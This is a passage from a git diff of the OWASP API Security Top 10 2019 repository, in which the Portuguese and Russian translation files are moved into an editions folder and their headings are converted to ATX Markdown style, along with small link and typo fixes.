do OWASP API Security Top 10, usada como fonte para a versão oficial distribuída em formato PDF - Portable Document Format. @@ -11,4 +10,4 @@ consulte a secção [CONTRIBUTING.md][1]. * Erez Yallon * Inon Shkedy -[1]: ../../CONTRIBUTING.md +[1]: ../../../CONTRIBUTING.md diff --git a/2019/pt-pt/src/0x00-toc.md b/editions/2019/pt-pt/0x00-toc.md similarity index 94% rename from 2019/pt-pt/src/0x00-toc.md rename to editions/2019/pt-pt/0x00-toc.md index 86c65c48a..8464fa21a 100644 --- a/2019/pt-pt/src/0x00-toc.md +++ b/editions/2019/pt-pt/0x00-toc.md @@ -1,9 +1,8 @@ -Tabela de Conteúdos -=================== +# Tabela de Conteúdos * [Tabela de Conteúdos](0x00-toc.md) * [Sobre a OWASP](0x01-about-owasp.md) -* [Prefácio](0x02-foreward.md) +* [Prefácio](0x02-foreword.md) * [Introdução](0x03-introduction.md) * [Notas da Versão](0x04-release-notes.md) * [Riscos de Segurança em APIs](0x10-api-security-risks.md) diff --git a/2019/pt-pt/src/0x01-about-owasp.md b/editions/2019/pt-pt/0x01-about-owasp.md similarity index 99% rename from 2019/pt-pt/src/0x01-about-owasp.md rename to editions/2019/pt-pt/0x01-about-owasp.md index 525ce855e..6cf1f2676 100644 --- a/2019/pt-pt/src/0x01-about-owasp.md +++ b/editions/2019/pt-pt/0x01-about-owasp.md @@ -1,5 +1,4 @@ -Sobre a OWASP -=========== +# Sobre a OWASP OWASP - Open Web Application Security Project é uma comunidade aberta que se dedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e diff --git a/2019/pt-pt/src/0x02-foreword.md b/editions/2019/pt-pt/0x02-foreword.md similarity index 99% rename from 2019/pt-pt/src/0x02-foreword.md rename to editions/2019/pt-pt/0x02-foreword.md index 1a1f7c162..b12c747f1 100644 --- a/2019/pt-pt/src/0x02-foreword.md +++ b/editions/2019/pt-pt/0x02-foreword.md @@ -1,5 +1,4 @@ -Prefácio -======== +# Prefácio As APIs - _Application Programming Interface_ têm um papel fundamental na inovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca, diff --git a/2019/pt-pt/src/0x03-introduction.md b/editions/2019/pt-pt/0x03-introduction.md similarity index 98% rename from 2019/pt-pt/src/0x03-introduction.md rename to editions/2019/pt-pt/0x03-introduction.md index ff3066476..ddbc85156 100644 --- a/2019/pt-pt/src/0x03-introduction.md +++ b/editions/2019/pt-pt/0x03-introduction.md @@ -1,5 +1,4 @@ -Introdução -========== +# Introdução ## Bem-vindo ao OWASP API Security Top 10 - 2019! diff --git a/2019/pt-pt/src/0x04-release-notes.md b/editions/2019/pt-pt/0x04-release-notes.md similarity index 98% rename from 2019/pt-pt/src/0x04-release-notes.md rename to editions/2019/pt-pt/0x04-release-notes.md index ae452e99e..908874fbc 100644 --- a/2019/pt-pt/src/0x04-release-notes.md +++ b/editions/2019/pt-pt/0x04-release-notes.md @@ -1,5 +1,4 @@ -Notas da Versão -=============== +# Notas da Versão Esta é a primeira edição do OWASP API Security Top 10, que prevemos atualizar periodicamente a cada três ou quatro anos. diff --git a/2019/pt-pt/src/0x10-api-security-risks.md b/editions/2019/pt-pt/0x10-api-security-risks.md similarity index 97% rename from 2019/pt-pt/src/0x10-api-security-risks.md rename to editions/2019/pt-pt/0x10-api-security-risks.md index b4a379980..7f091d783 100644 --- a/2019/pt-pt/src/0x10-api-security-risks.md +++ b/editions/2019/pt-pt/0x10-api-security-risks.md @@ -1,5 +1,4 @@ -Riscos de Segurança em APIs -=========================== +# Riscos de Segurança em APIs Para a análise de risco usámos a [metodologia de avaliação de risco da OWASP][1]. diff --git a/2019/pt-pt/src/0x11-t10.md b/editions/2019/pt-pt/0x11-t10.md similarity index 98% rename from 2019/pt-pt/src/0x11-t10.md rename to editions/2019/pt-pt/0x11-t10.md index f48244235..0e019a894 100644 --- a/2019/pt-pt/src/0x11-t10.md +++ b/editions/2019/pt-pt/0x11-t10.md @@ -1,5 +1,4 @@ -OWASP Top 10 API Security Risks – 2019 -====================================== +# OWASP Top 10 API Security Risks – 2019 | Risk | Description | | ---- | ----------- | diff --git a/2019/pt-pt/src/0xa1-broken-object-level-authorization.md b/editions/2019/pt-pt/0xa1-broken-object-level-authorization.md similarity index 97% rename from 2019/pt-pt/src/0xa1-broken-object-level-authorization.md rename to editions/2019/pt-pt/0xa1-broken-object-level-authorization.md index b1041e861..d6e2609de 100644 --- a/2019/pt-pt/src/0xa1-broken-object-level-authorization.md +++ b/editions/2019/pt-pt/0xa1-broken-object-level-authorization.md @@ -1,5 +1,4 @@ -API1:2019 Broken Object Level Authorization -=========================================== +# API1:2019 Broken Object Level Authorization | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa2-broken-user-authentication.md b/editions/2019/pt-pt/0xa2-broken-user-authentication.md similarity index 98% rename from 2019/pt-pt/src/0xa2-broken-user-authentication.md rename to editions/2019/pt-pt/0xa2-broken-user-authentication.md index dc7ef5ed7..fcca96e18 100644 --- a/2019/pt-pt/src/0xa2-broken-user-authentication.md +++ b/editions/2019/pt-pt/0xa2-broken-user-authentication.md @@ -1,5 +1,4 @@ -API2:2019 Broken User Authentication -==================================== +# API2:2019 Broken User Authentication | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa3-excessive-data-exposure.md b/editions/2019/pt-pt/0xa3-excessive-data-exposure.md similarity index 98% rename from 2019/pt-pt/src/0xa3-excessive-data-exposure.md rename to editions/2019/pt-pt/0xa3-excessive-data-exposure.md index 89e69dc00..087f127af 100644 --- a/2019/pt-pt/src/0xa3-excessive-data-exposure.md +++ b/editions/2019/pt-pt/0xa3-excessive-data-exposure.md @@ -1,5 +1,4 @@ -API3:2019 Excessive Data Exposure -================================= +# API3:2019 Excessive Data Exposure | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/pt-pt/0xa4-lack-of-resources-and-rate-limiting.md similarity index 98% rename from 2019/pt-pt/src/0xa4-lack-of-resources-and-rate-limiting.md rename to editions/2019/pt-pt/0xa4-lack-of-resources-and-rate-limiting.md index 921978b37..4c856ab70 100644 --- a/2019/pt-pt/src/0xa4-lack-of-resources-and-rate-limiting.md +++ b/editions/2019/pt-pt/0xa4-lack-of-resources-and-rate-limiting.md @@ -1,5 +1,4 @@ -API4:2019 Lack of Resources & Rate Limiting -=========================================== +# API4:2019 Lack of Resources & Rate Limiting | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa5-broken-function-level-authorization.md b/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md similarity index 96% rename from 2019/pt-pt/src/0xa5-broken-function-level-authorization.md rename to editions/2019/pt-pt/0xa5-broken-function-level-authorization.md index bfab037a7..f96ca47c8 100644 --- a/2019/pt-pt/src/0xa5-broken-function-level-authorization.md +++ b/editions/2019/pt-pt/0xa5-broken-function-level-authorization.md @@ -1,5 +1,4 @@ -API5:2019 Broken Function Level Authorization -============================================= +# API5:2019 Broken Function Level Authorization | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | @@ -25,7 +24,7 @@ Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no URL. Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ -administrativos sob um mesmo prefixo, e.g. `api/admins, é comum encontrarem-se +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se _endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ ordinários e.g. `api/users`. diff --git a/2019/pt-pt/src/0xa6-mass-assignment.md b/editions/2019/pt-pt/0xa6-mass-assignment.md similarity index 98% rename from 2019/pt-pt/src/0xa6-mass-assignment.md rename to editions/2019/pt-pt/0xa6-mass-assignment.md index 6a1bfeb46..c4b4a19a6 100644 --- a/2019/pt-pt/src/0xa6-mass-assignment.md +++ b/editions/2019/pt-pt/0xa6-mass-assignment.md @@ -1,5 +1,4 @@ -API6:2019 - Mass Assignment -=========================== +# API6:2019 - Mass Assignment | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa7-security-misconfiguration.md b/editions/2019/pt-pt/0xa7-security-misconfiguration.md similarity index 98% rename from 2019/pt-pt/src/0xa7-security-misconfiguration.md rename to editions/2019/pt-pt/0xa7-security-misconfiguration.md index 9d111cc37..433e1671e 100644 --- a/2019/pt-pt/src/0xa7-security-misconfiguration.md +++ b/editions/2019/pt-pt/0xa7-security-misconfiguration.md @@ -1,5 +1,4 @@ -API7:2019 Security Misconfiguration -=================================== +# API7:2019 Security Misconfiguration | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa8-injection.md b/editions/2019/pt-pt/0xa8-injection.md similarity index 99% rename from 2019/pt-pt/src/0xa8-injection.md rename to editions/2019/pt-pt/0xa8-injection.md index edc84519d..77d558ba7 100644 --- a/2019/pt-pt/src/0xa8-injection.md +++ b/editions/2019/pt-pt/0xa8-injection.md @@ -1,5 +1,4 @@ -API8:2019 Injection -=================== +# API8:2019 Injection | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xa9-improper-assets-management.md b/editions/2019/pt-pt/0xa9-improper-assets-management.md similarity index 92% rename from 2019/pt-pt/src/0xa9-improper-assets-management.md rename to editions/2019/pt-pt/0xa9-improper-assets-management.md index b9a226890..883927486 100644 --- a/2019/pt-pt/src/0xa9-improper-assets-management.md +++ b/editions/2019/pt-pt/0xa9-improper-assets-management.md @@ -1,5 +1,4 @@ -API9:2019 Improper Assets Management -==================================== +# API9:2019 Improper Assets Management | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | @@ -12,13 +11,13 @@ A API pode ser vulnerável se: * O propósito dum host da API não é claro, não havendo respostas explicitas para as seguintes perguntas: - * Em que ambientes está a API a correr (e.g., produção, _staging_, testes, - desenvolvimento)? - * Quem deve ter acesso à API através da rede (e.g., público, interno, - parceiros)? - * Que versões da API estão a correr? - * Que informação é recolhida e processada pela API (e.g., PII)? - * Qual é o fluxo dos dados? + * Em que ambientes está a API a correr (e.g., produção, _staging_, testes, + desenvolvimento)? + * Quem deve ter acesso à API através da rede (e.g., público, interno, + parceiros)? + * Que versões da API estão a correr? + * Que informação é recolhida e processada pela API (e.g., PII)? + * Qual é o fluxo dos dados? * Não existe documentação, ou a que existe não está atualizada. * Não existe um plano para descontinuar cada uma das versões da API. * Não existe um inventário de hosts ou o que existe está desatualizado. diff --git a/2019/pt-pt/src/0xaa-insufficient-logging-monitoring.md b/editions/2019/pt-pt/0xaa-insufficient-logging-monitoring.md similarity index 97% rename from 2019/pt-pt/src/0xaa-insufficient-logging-monitoring.md rename to editions/2019/pt-pt/0xaa-insufficient-logging-monitoring.md index 8ec93b8f2..e28e5c338 100644 --- a/2019/pt-pt/src/0xaa-insufficient-logging-monitoring.md +++ b/editions/2019/pt-pt/0xaa-insufficient-logging-monitoring.md @@ -1,5 +1,4 @@ -API10:2019 Insufficient Logging & Monitoring -============================================ +# API10:2019 Insufficient Logging & Monitoring | Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | | - | - | - | diff --git a/2019/pt-pt/src/0xb0-next-devs.md b/editions/2019/pt-pt/0xb0-next-devs.md similarity index 98% rename from 2019/pt-pt/src/0xb0-next-devs.md rename to editions/2019/pt-pt/0xb0-next-devs.md index c9f286744..37318e90c 100644 --- a/2019/pt-pt/src/0xb0-next-devs.md +++ b/editions/2019/pt-pt/0xb0-next-devs.md @@ -1,5 +1,4 @@ -O Que Se Segue Para Programadores -================================= +# O Que Se Segue Para Programadores A tarefa de criar e manter software seguro, ou corrigir software existente, pode ser difícil. O mesmo se verifica em relação às APIs. diff --git a/2019/pt-pt/src/0xb1-next-devsecops.md b/editions/2019/pt-pt/0xb1-next-devsecops.md similarity index 98% rename from 2019/pt-pt/src/0xb1-next-devsecops.md rename to editions/2019/pt-pt/0xb1-next-devsecops.md index 52bee13e7..f2f032e04 100644 --- a/2019/pt-pt/src/0xb1-next-devsecops.md +++ b/editions/2019/pt-pt/0xb1-next-devsecops.md @@ -1,5 +1,4 @@ -O que Se Segue Para DevSecOps -============================= +# O que Se Segue Para DevSecOps Dada a sua importância na arquitetura das aplicações modernas, desenvolver APIs seguras é crucial. A segurança não pode ser negligenciada e deve estar presente diff --git a/2019/pt-pt/src/0xd0-about-data.md b/editions/2019/pt-pt/0xd0-about-data.md similarity index 98% rename from 2019/pt-pt/src/0xd0-about-data.md rename to editions/2019/pt-pt/0xd0-about-data.md index c682f5d62..290d94055 100644 --- a/2019/pt-pt/src/0xd0-about-data.md +++ b/editions/2019/pt-pt/0xd0-about-data.md @@ -1,5 +1,4 @@ -Methodology and Data -==================== +# Metodologia e Dados ## Preâmbulo diff --git a/2019/pt-pt/src/0xd1-acknowledgments.md b/editions/2019/pt-pt/0xd1-acknowledgments.md similarity index 95% rename from 2019/pt-pt/src/0xd1-acknowledgments.md rename to editions/2019/pt-pt/0xd1-acknowledgments.md index 65c1ab8e5..d2ba2fd1f 100644 --- a/2019/pt-pt/src/0xd1-acknowledgments.md +++ b/editions/2019/pt-pt/0xd1-acknowledgments.md @@ -1,5 +1,4 @@ -Agradecimentos -============== +# Agradecimentos ## Agradecimento ao Contribuidores diff --git a/2019/pt-pt/dist/owasp-api-security-top-10.odt b/editions/2019/pt-pt/dist/owasp-api-security-top-10.odt similarity index 100% rename from 2019/pt-pt/dist/owasp-api-security-top-10.odt rename to editions/2019/pt-pt/dist/owasp-api-security-top-10.odt diff --git a/2019/pt-pt/dist/owasp-api-security-top-10.pdf b/editions/2019/pt-pt/dist/owasp-api-security-top-10.pdf similarity index 100% rename from 2019/pt-pt/dist/owasp-api-security-top-10.pdf rename to editions/2019/pt-pt/dist/owasp-api-security-top-10.pdf diff --git a/editions/2019/pt-pt/images/cover.jpg b/editions/2019/pt-pt/images/cover.jpg new file mode 100644 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/pt-pt/images/cover.jpg differ diff --git a/editions/2019/pt-pt/images/front-cc.png b/editions/2019/pt-pt/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/pt-pt/images/front-cc.png differ diff --git a/editions/2019/pt-pt/images/front-wasp.png b/editions/2019/pt-pt/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/pt-pt/images/front-wasp.png differ diff --git a/editions/2019/pt-pt/images/license.png b/editions/2019/pt-pt/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/pt-pt/images/license.png differ diff --git a/editions/2019/pt-pt/images/owasp-logo.png b/editions/2019/pt-pt/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/pt-pt/images/owasp-logo.png differ diff --git a/2019/ru/src/0x00-header.md b/editions/2019/ru/0x00-header.md similarity index 90% rename from 2019/ru/src/0x00-header.md rename to editions/2019/ru/0x00-header.md index caa209388..d70ce7b91 100644 --- a/2019/ru/src/0x00-header.md +++ b/editions/2019/ru/0x00-header.md @@ -1,6 +1,10 @@ +--- +title: '' +--- + ![OWASP LOGO](images/owasp-logo.png) -## OWASP API Security Top 10 2019 +# OWASP API Security Top 10 2019 Десять наиболее критичных рисков безопастности API @@ -13,5 +17,3 @@ | https://owasp.org | В соответствии с лицензией [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | [1]: http://creativecommons.org/licenses/by-sa/4.0/ - - diff --git a/2019/ru/src/0x00-notice.md b/editions/2019/ru/0x00-notice.md similarity index 90% rename from 2019/ru/src/0x00-notice.md rename to editions/2019/ru/0x00-notice.md index a5f360c0b..967411c8f 100644 --- a/2019/ru/src/0x00-notice.md +++ b/editions/2019/ru/0x00-notice.md @@ -1,5 +1,4 @@ -Примечание -====== +# Примечание Это текстовая версия OWASP API Security Top 10, используемая для создания официальной версии, распространяемой в формате PDF. @@ -8,4 +7,4 @@ * Erez Yallon * Inon Shkedy -[1]: ../../CONTRIBUTING.md +[1]: ../../../CONTRIBUTING.md diff --git a/2019/ru/src/0x00-toc.md b/editions/2019/ru/0x00-toc.md similarity index 95% rename from 2019/ru/src/0x00-toc.md rename to editions/2019/ru/0x00-toc.md index eaa9a859f..15a51cda2 100644 --- a/2019/ru/src/0x00-toc.md +++ b/editions/2019/ru/0x00-toc.md @@ -1,9 +1,8 @@ -Содержание -================= +# Содержание * [Содержание](0x00-toc.md) * [Об OWASP](0x01-about-owasp.md) -* [Предисловие](0x02-foreward.md) +* [Предисловие](0x02-foreword.md) * [Введение](0x03-introduction.md) * [Анонс выпуска](0x04-release-notes.md) * [Риски безопасности API](0x10-api-security-risks.md) diff --git a/2019/ru/src/0x01-about-owasp.md b/editions/2019/ru/0x01-about-owasp.md similarity index 99% rename from 2019/ru/src/0x01-about-owasp.md rename to editions/2019/ru/0x01-about-owasp.md index eefe114b3..a9e376ae2 100644 --- a/2019/ru/src/0x01-about-owasp.md +++ b/editions/2019/ru/0x01-about-owasp.md @@ -1,5 +1,4 @@ -Об OWASP -=========== +# Об OWASP Open Web Application Security Project (OWASP) - открытое сообщество, нацеленное на предоставление возможности организациям разрабатывать, покупать и поддерживать приложения и API, которым можно доверять. diff --git a/2019/ru/src/0x02-foreword.md b/editions/2019/ru/0x02-foreword.md similarity index 99% rename from 2019/ru/src/0x02-foreword.md rename to editions/2019/ru/0x02-foreword.md index c79c71935..60ef1ad86 100644 --- a/2019/ru/src/0x02-foreword.md +++ b/editions/2019/ru/0x02-foreword.md @@ -1,5 +1,4 @@ -Предисловие -======== +# Предисловие Программный интерфейс приложений (API) - фундаментальный элемент инноваций в современном, движимом приложениями мире. API - важная составляющая современных мобильных, SaaS и веб приложений, используемая в клиентских, партнерских и внутренних приложениях от банковской сферы, сфер розничных продаж и логистики до интернета вещей, автономных автомобилей и умных городов. diff --git a/2019/ru/src/0x03-introduction.md b/editions/2019/ru/0x03-introduction.md similarity index 98% rename from 2019/ru/src/0x03-introduction.md rename to editions/2019/ru/0x03-introduction.md index c15591d21..f0939e74a 100644 --- a/2019/ru/src/0x03-introduction.md +++ b/editions/2019/ru/0x03-introduction.md @@ -1,5 +1,4 @@ -Введение -============ +# Введение ## Добро пожаловать в OWASP API Security Top 10 - 2019! diff --git a/2019/ru/src/0x04-release-notes.md b/editions/2019/ru/0x04-release-notes.md similarity index 97% rename from 2019/ru/src/0x04-release-notes.md rename to editions/2019/ru/0x04-release-notes.md index a556aba1f..730eb2ddf 100644 --- a/2019/ru/src/0x04-release-notes.md +++ b/editions/2019/ru/0x04-release-notes.md @@ -1,5 +1,4 @@ -Анонс выпуска -============= +# Анонс выпуска Это первая версия OWASP API Security Top 10, которую мы планируем обновлять каждые три-четыре года. diff --git a/2019/ru/src/0x10-api-security-risks.md b/editions/2019/ru/0x10-api-security-risks.md similarity index 98% rename from 2019/ru/src/0x10-api-security-risks.md rename to editions/2019/ru/0x10-api-security-risks.md index 524a10567..7b2deba6d 100644 --- a/2019/ru/src/0x10-api-security-risks.md +++ b/editions/2019/ru/0x10-api-security-risks.md @@ -1,5 +1,4 @@ -Риски безопасности API -================== +# Риски безопасности API Для анализа рисков была использована [Методология оценки рисков OWASP][1]. diff --git a/2019/ru/src/0x11-t10.md b/editions/2019/ru/0x11-t10.md similarity index 98% rename from 2019/ru/src/0x11-t10.md rename to editions/2019/ru/0x11-t10.md index c9d3c66bd..9db30b03f 100644 --- a/2019/ru/src/0x11-t10.md +++ b/editions/2019/ru/0x11-t10.md @@ -1,5 +1,4 @@ -OWASP Top 10 API Security Risks – 2019 -====================================== +# OWASP Top 10 API Security Risks – 2019 | Риск | Описание | | ---- | ----------- | @@ -12,4 +11,4 @@ OWASP Top 10 API Security Risks – 2019 | API7:2019 - Ошибки настроек безопасности | Как правило, ошибки настроек безопасности - результат небезопасных настроек по умолчанию, неполных или временных настроек, незащищенного облачного хранилища, некорректно настроенных заголовков HTTP, излишних методов HTTP, нестрогой политики разделения ресурсов между источниками (CORS) и детальных сообщений об ошибках, содержащих критичные данные. | | API8:2019 - Инъекции | Инъекции, такие как SQL, NoSQL, инъекции команд на операционной системе и другие, случаются, когда недоверенные данные отправляются в интерпретатор как часть команды или запроса. Злоумышленник может вынудить интерпретатор выполнить команду или получить данные в обход проверок авторизации. | | API9:2019 - Ненадлежащее управление активами | API обычно имеют больше точек входа по сравнению с традиционным веб приложениями, что приводит к необходимости постоянного ведения и обновления документации. Надлежащая инвентаризация хостов (доменов и серверов, на которых функционирует API) и развернутых версий API играет важную роль в предотвращении проблем, таких как публикация устаревших версий API и точек входа, используемых для отладки. | -| API10:2019 - Недостаточное логирование и мониторинг | Недостаточное логирование и мониторинг вместе с отсутствующим или неэффективным реагированием на инциденты позволяет злоумышленникам атаковать и оставаться в системе, атаковать другие системы, доступные из скомпрометированной, а также извлекать или уничтожать данные. Большинство исследований произошедших атак показывает, что время обнаружения атак превышает 200 дней, а также что обычно атаки обнаруживаются извне, а не внутренними процессами или мониторингом. | \ No newline at end of file +| API10:2019 - Недостаточное логирование и мониторинг | Недостаточное логирование и мониторинг вместе с отсутствующим или неэффективным реагированием на инциденты позволяет злоумышленникам атаковать и оставаться в системе, атаковать другие системы, доступные из скомпрометированной, а также извлекать или уничтожать данные. Большинство исследований произошедших атак показывает, что время обнаружения атак превышает 200 дней, а также что обычно атаки обнаруживаются извне, а не внутренними процессами или мониторингом. | diff --git a/2019/ru/src/0xa1-broken-object-level-authorization.md b/editions/2019/ru/0xa1-broken-object-level-authorization.md similarity index 98% rename from 2019/ru/src/0xa1-broken-object-level-authorization.md rename to editions/2019/ru/0xa1-broken-object-level-authorization.md index de8b6b13d..a3fc713db 100644 --- a/2019/ru/src/0xa1-broken-object-level-authorization.md +++ b/editions/2019/ru/0xa1-broken-object-level-authorization.md @@ -1,5 +1,4 @@ -API1:2019 Некорректная Авторизация на Уровне Объектов -=========================================== +# API1:2019 Некорректная Авторизация на Уровне Объектов | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa2-broken-user-authentication.md b/editions/2019/ru/0xa2-broken-user-authentication.md similarity index 98% rename from 2019/ru/src/0xa2-broken-user-authentication.md rename to editions/2019/ru/0xa2-broken-user-authentication.md index a9ca7ea5c..93d9326dc 100644 --- a/2019/ru/src/0xa2-broken-user-authentication.md +++ b/editions/2019/ru/0xa2-broken-user-authentication.md @@ -1,5 +1,4 @@ -API2:2019 Некорректная Аутентификация Пользователей -==================================== +# API2:2019 Некорректная Аутентификация Пользователей | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa3-excessive-data-exposure.md b/editions/2019/ru/0xa3-excessive-data-exposure.md similarity index 98% rename from 2019/ru/src/0xa3-excessive-data-exposure.md rename to editions/2019/ru/0xa3-excessive-data-exposure.md index ece1ff36a..498b513db 100644 --- a/2019/ru/src/0xa3-excessive-data-exposure.md +++ b/editions/2019/ru/0xa3-excessive-data-exposure.md @@ -1,5 +1,4 @@ -API3:2019 Предоставление Излишних Данных -================================= +# API3:2019 Предоставление Излишних Данных | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/ru/0xa4-lack-of-resources-and-rate-limiting.md similarity index 97% rename from 2019/ru/src/0xa4-lack-of-resources-and-rate-limiting.md rename to editions/2019/ru/0xa4-lack-of-resources-and-rate-limiting.md index 0074e9a3e..d102e7cf7 100644 --- a/2019/ru/src/0xa4-lack-of-resources-and-rate-limiting.md +++ b/editions/2019/ru/0xa4-lack-of-resources-and-rate-limiting.md @@ -1,5 +1,4 @@ -API4:2019 Отсутствие Ограничений на Количество Запросов и Потребляемые Ресурсы -=========================================== +# API4:2019 Отсутствие Ограничений на Количество Запросов и Потребляемые Ресурсы | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa5-broken-function-level-authorization.md b/editions/2019/ru/0xa5-broken-function-level-authorization.md similarity index 98% rename from 2019/ru/src/0xa5-broken-function-level-authorization.md rename to editions/2019/ru/0xa5-broken-function-level-authorization.md index 9fd8088c8..0e5e23af8 100644 --- a/2019/ru/src/0xa5-broken-function-level-authorization.md +++ b/editions/2019/ru/0xa5-broken-function-level-authorization.md @@ -1,5 +1,4 @@ -API5:2019 Некорректная Авторизация на Уровне Функций -============================================= +# API5:2019 Некорректная Авторизация на Уровне Функций | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa6-mass-assignment.md b/editions/2019/ru/0xa6-mass-assignment.md similarity index 98% rename from 2019/ru/src/0xa6-mass-assignment.md rename to editions/2019/ru/0xa6-mass-assignment.md index 67e5b88b4..69cbf5c2a 100644 --- a/2019/ru/src/0xa6-mass-assignment.md +++ b/editions/2019/ru/0xa6-mass-assignment.md @@ -1,5 +1,4 @@ -API6:2019 - Массовое Переназначение Параметров (Mass assignment) -=========================== +# API6:2019 - Массовое Переназначение Параметров (Mass assignment) | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa7-security-misconfiguration.md b/editions/2019/ru/0xa7-security-misconfiguration.md similarity index 98% rename from 2019/ru/src/0xa7-security-misconfiguration.md rename to editions/2019/ru/0xa7-security-misconfiguration.md index 2bec311f0..0ee354b1c 100644 --- a/2019/ru/src/0xa7-security-misconfiguration.md +++ b/editions/2019/ru/0xa7-security-misconfiguration.md @@ -1,5 +1,4 @@ -API7:2019 Ошибки Настроек Безопасности -=================================== +# API7:2019 Ошибки Настроек Безопасности | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa8-injection.md b/editions/2019/ru/0xa8-injection.md similarity index 99% rename from 2019/ru/src/0xa8-injection.md rename to editions/2019/ru/0xa8-injection.md index 57e815613..f7061b1aa 100644 --- a/2019/ru/src/0xa8-injection.md +++ b/editions/2019/ru/0xa8-injection.md @@ -1,5 +1,4 @@ -API8:2019 Инъекции -=================== +# API8:2019 Инъекции | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xa9-improper-assets-management.md b/editions/2019/ru/0xa9-improper-assets-management.md similarity index 92% rename from 2019/ru/src/0xa9-improper-assets-management.md rename to editions/2019/ru/0xa9-improper-assets-management.md index a611b7fa3..89d3b5928 100644 --- a/2019/ru/src/0xa9-improper-assets-management.md +++ b/editions/2019/ru/0xa9-improper-assets-management.md @@ -1,5 +1,4 @@ -API9:2019 Ненадлежащее Управление Активами -==================================== +# API9:2019 Ненадлежащее Управление Активами | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | @@ -11,11 +10,11 @@ API9:2019 Ненадлежащее Управление Активами API может быть уязвимым, если: * Назначение API хоста неясно, а также нет четких ответов на следующие вопросы: - * В каком окружении запущен API (например, production, staging, test, development)? - * Каким должен быть сетевой доступ к API (например, общедоступным, внутренним, для партнеров)? - * Какая версия API запущена? - * Какие данные собираются и обрабатываются API (например, персональные данные)? - * Каков поток движения данных? + * В каком окружении запущен API (например, production, staging, test, development)? + * Каким должен быть сетевой доступ к API (например, общедоступным, внутренним, для партнеров)? + * Какая версия API запущена? + * Какие данные собираются и обрабатываются API (например, персональные данные)? + * Каков поток движения данных? * Документация отсутствует или не обновляется. * Отсутствует план вывода из эксплуатации предыдущих версий API. * Инвентаризация хостов не проводится, или ее результаты устарели. diff --git a/2019/ru/src/0xaa-insufficient-logging-monitoring.md b/editions/2019/ru/0xaa-insufficient-logging-monitoring.md similarity index 97% rename from 2019/ru/src/0xaa-insufficient-logging-monitoring.md rename to editions/2019/ru/0xaa-insufficient-logging-monitoring.md index 90ab0987d..04c55f6e0 100644 --- a/2019/ru/src/0xaa-insufficient-logging-monitoring.md +++ b/editions/2019/ru/0xaa-insufficient-logging-monitoring.md @@ -1,5 +1,4 @@ -API10:2019 Недостаточное Логирование и Мониторинг -============================================ +# API10:2019 Недостаточное Логирование и Мониторинг | Источники угроз/Векторы атак | Недостатки безопасности | Последствия | | - | - | - | diff --git a/2019/ru/src/0xb0-next-devs.md b/editions/2019/ru/0xb0-next-devs.md similarity index 98% rename from 2019/ru/src/0xb0-next-devs.md rename to editions/2019/ru/0xb0-next-devs.md index 7c2cf1a85..1e90c48d8 100644 --- a/2019/ru/src/0xb0-next-devs.md +++ b/editions/2019/ru/0xb0-next-devs.md @@ -1,5 +1,4 @@ -Дальнейшие шаги для разработчиков -========================== +# Дальнейшие шаги для разработчиков Задача по созданию и поддержке ПО в безопасном состоянии, или исправлению уже существующего ПО может быть сложной. То же верно и для API. diff --git a/2019/ru/src/0xb1-next-devsecops.md b/editions/2019/ru/0xb1-next-devsecops.md similarity index 98% rename from 2019/ru/src/0xb1-next-devsecops.md rename to editions/2019/ru/0xb1-next-devsecops.md index 785fb14b4..388678c9f 100644 --- a/2019/ru/src/0xb1-next-devsecops.md +++ b/editions/2019/ru/0xb1-next-devsecops.md @@ -1,5 +1,4 @@ -Дальнейшие шаги для DevSecOps -========================= +# Дальнейшие шаги для DevSecOps Создание безопасных API критически важно из-за их роли в архитектуре современных приложений. Безопасностью нельзя пренебрегать, она должна быть частью всего жизненного цикла разработки. Уже недостаточно проводить сканирование и тестирование на проникновение раз в год. diff --git 